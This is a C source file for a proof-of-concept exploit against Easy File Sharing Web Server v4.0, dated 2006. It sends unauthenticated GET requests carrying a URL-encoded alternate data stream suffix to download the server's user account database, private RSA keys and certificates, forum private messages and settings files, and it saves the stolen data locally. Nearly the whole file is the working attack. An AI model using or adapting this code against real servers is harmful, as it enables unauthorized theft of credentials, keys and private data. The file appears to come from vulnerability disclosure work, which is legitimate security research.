/*
===================================================================
0-day Alternative File Stream Exploit for Easy File Share Server 4
===================================================================
Exploit allows malicious users to grab files from the server without
being authenticated completely bypassing security.
0-day Easy File Sharing Web Server v4.0 Information Stealer
Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com
This tool demonstrates EFS Web Server's Vulnerability to Alternative
Data Stream GET requests which allow unauthorized users to download server
critical files.
Discovered and Reported: 10-30-2006
Usage: exploit <hostname/IP> [port 80=default] [Method see below]
--------PoC Methods:-----
1 = Gather all login username and passwords and email addresses.[Default]
2 = Gather Private RSA Key and Certificates for server.
3 = Gather Private Messages used by Forum Users on the server
4 = Gather Server Settings File and SMTP server info.
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h> /* Win32 API */
#include <wininet.h> /* WinInet API */
int mthd;
unsigned short httpport;
char exploit[512], exploit2[512], exploit3[512], exploit4[512];
char logmsg[512];
char endmsg[512];
HINTERNET inet; /* WinInet Internet Handle */
FILE *file;
void ExploitHTTP (HINTERNET inet, const char *host, const char *exp)
{
HINTERNET connection; /* Connection Handle */
HINTERNET request; /* Request Handle */
unsigned long flags; /* HttpOpenRequest Flags */
char buffer[BUFSIZ];
unsigned long len;
printf("HOST: %s\n", host);
printf("PORT: %i\n", httpport);
if ((connection = InternetConnect(inet, host, httpport,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0))
== NULL)
{
printf("Failed to Connect...Exiting\n");
InternetCloseHandle(inet);
fclose(file);
exit(1);
}
flags = INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_AUTO_REDIRECT |
INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES |
INTERNET_FLAG_RELOAD;
strcat(exp, "%3A%3A%24%44%41%54%41");
request = HttpOpenRequest(connection, "GET", exp, "HTTP/1.0", NULL, NULL, flags, 0);
if (request == NULL)
{
printf("HTTP Open Request failed....Exiting\n");
InternetCloseHandle(connection);
InternetCloseHandle(inet);
fclose(file);
exit(1);
}
if (!HttpSendRequest(request, NULL, 0, NULL, 0))
{
printf("HTTP Send Request failed....Exiting\n");
InternetCloseHandle(request);
InternetCloseHandle(connection);
InternetCloseHandle(inet);
fclose(file);
exit(1);
}
printf("Exploit Sent...Dumping HTTP Return Packet...");
sleep(1000);
while (InternetReadFile(request, buffer, sizeof buffer, &len) && len > 0)
{
fwrite(buffer, len, 1, file);
if (fwrite(buffer, len, 1, stdout) < 1)
{
printf("Error Outputting HTTP Return Packet\n");
}
}
InternetCloseHandle(request);
InternetCloseHandle(connection);
}
int main (int argc, char *argv[])
{
printf("\n=========================================================================\n");
printf("0-day Easy File Sharing Web Server v4.0 Information Stealer\n");
printf("Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com\n");
printf("This tool demonstrates EFS Web Server's Vulnerability to Alternative\n");
printf("Data Stream GET requests which allow unauthorized users to download server \n");
printf("critical files.\n");
printf("Discovered and Reported: 10-30-2006\n");
printf("\nUsage: %s <hostname/IP> [port 80=default] [Method see below]\n", argv[0]);
printf("--------PoC Methods:-----\n");
printf("1 = Gather all login username and passwords and email addresses.[Default]\n");
printf("2 = Gather Private RSA Key and Certificates for server.\n");
printf("3 = Gather Private Messages used by Forum Users on the server\n");
printf("4 = Gather Server Settings File and SMTP server info.\n");
printf("============================================================================\n");
inet = InternetOpen("ESF Exp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (inet == NULL)
{
printf("Error accessing InternetOpen API - Exiting...\n");
exit(1);
}
if (argc < 2)
{
printf("Invalid # of arguments...Exiting\n");
exit(1);
}
if (atoi(argv[3]) > 4)
{
mthd = 1;
}
if (atoi(argv[3]) <= 0)
{
mthd = 1;
}
mthd = atoi(argv[3]);
/* Set Up Exploits */
switch(mthd)
{
case 1:
file = fopen("Accounts.txt","a+");
sprintf(exploit, "%s", "%75%73%65%72%2E%73%64%62");
sprintf(endmsg, "%s", "\n\n\nResults Dumped to Accounts.txt\n");
break;
case 2:
file = fopen("RSAKeys.txt", "a+");
sprintf(exploit, "%s", "%53%65%72%76%65%72%4B%65%79%2E%70%65%6D");
sprintf(endmsg, "%s", "\n\n\nResults Dumped to RSAKeys.txt\n");
break;
case 3:
file = fopen("Messages.txt", "a+");
sprintf(exploit, "%s", "%6D%73%67%31%2E%73%64%62");
sprintf(endmsg, "%s", "\n\n\nResults Dumped to Messages.txt\n");
break;
case 4:
file = fopen("Server.txt", "a+");
sprintf(exploit, "%s", "%6F%70%74%69%6F%6E%2E%69%6E%69");
sprintf(endmsg, "%s", "\n\n\nResults Dumped to Server.txt\n");
break;
}
sprintf(logmsg, "%s", argv[1]);
sprintf(logmsg, "%s", "\r\n\r\n\r\n");
fwrite(logmsg, strlen(logmsg), 1, file);
httpport = atoi(argv[2]);
ExploitHTTP(inet, argv[1], exploit);
if (mthd == 3)
{
printf("\n\n Sending 2nd Exploit...\n");
strcat(exploit2, "%6D%73%67%32%2E%73%64%62");
ExploitHTTP(inet, argv[1], exploit2);
printf("\n\n Sending 3rd Exploit...\n");
strcat(exploit3, "%6D%73%67%33%2E%73%64%62");
ExploitHTTP(inet, argv[1], exploit3);
printf("\n\n Sending final Exploit...\n");
strcat(exploit4, "%6D%73%67%34%2E%73%64%62");
ExploitHTTP(inet, argv[1], exploit4);
}
if (mthd == 2)
{
printf("\n\n Sending 2nd Exploit...\n");
strcat(exploit2, "%53%65%72%76%65%72%43%65%72%74%2E%70%65%6D");
ExploitHTTP(inet, argv[1], exploit2);
printf("\n\n Sending final Exploit...\n");
strcat(exploit3, "%52%6F%6F%74%43%65%72%74%2E%70%65%6D");
ExploitHTTP(inet, argv[1], exploit3);
}
fclose(file);
Sleep(500);
InternetCloseHandle(inet);
printf("\n\n===================================================\n");
printf("%s\n", endmsg);
printf("Proof Of Concept Exploit by Greg Linares\n");
printf("Send Comments/Concerns/Questions/Etc to GLinares.code [at] gmail [dot] com\n");
return 0;
}
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